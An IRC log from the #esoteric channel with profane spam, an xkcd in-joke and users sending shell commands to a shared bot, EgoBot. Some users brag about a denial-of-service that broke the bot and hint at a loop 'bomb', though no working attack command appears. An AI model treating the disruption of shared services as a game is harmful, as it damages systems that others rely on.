1241393686 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :could've been a <3 thunder < 1241393693 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :^; ^^; ^ ^; ^^^^; ^ ^; ^^ ^^; ^ ^ ^ ^; ^^^^^^^^ < 1241393695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :↓↓↓←←↓→↓←→↓ < 1241393700 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :comex: fuck <3 thunders < 1241393701 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393701 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393703 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393705 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393707 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393709 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393710 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :fuck ehird < 1241393711 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :fuck ehird < 1241393711 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393713 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393715 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck <3 thunders < 1241393717 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :happy now < 1241393719 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241393721 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck ehird < 1241393722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thunders < 1241393722 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :jjjjhhjljhlj < 1241393723 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck ehird < 1241393724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is that about < 1241393725 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :fuck ehird < 1241393725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241393726 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh fuck < 1241393726 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /tmp/input.9727: No such file or directory < 1241393728 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://wiki.xkcd.com/irc/Heart_Thunder < 1241393770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what irc network < 1241393771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is that < 1241393775 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :#xkcd on foonetic. < 1241393806 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :foonetic, hm ok < 1241394269 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: bsmntbombdood wants to know how to use two monitors < 1241394276 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :ja < 1241394278 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(card = http://www.newegg.com/Product/Product.aspx?Item=N82E16814187037) < 1241394472 0 :FireFly!unknown@unknown.invalid QUIT :"Later" < 1241394904 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls < 1241394905 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /tmp/input.9996: No such file or directory < 1241395071 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :<-- GregorR at a friend's place < 1241395076 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :Hah, well done comex. < 1241395082 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :DoS winzzz < 1241395128 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :calamous: yeah < 1241395130 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ln -s bomb < 1241395131 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, Gregor voyages forth? < 1241395136 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Been in #xkcd? < 1241395139 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sure enough. < 1241395162 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Never. I know that someone I would rather not encounter went there in 2006 at least and may still do. < 1241395171 0 :calamous!unknown@unknown.invalid PRIVMSG #esoteric :You can run stuff now. < 1241395177 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo yay < 1241395177 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1241395185 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh for i in ... nah, I'm too kind < 1241395185 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.10153: line 1: unexpected EOF while looking for matching `''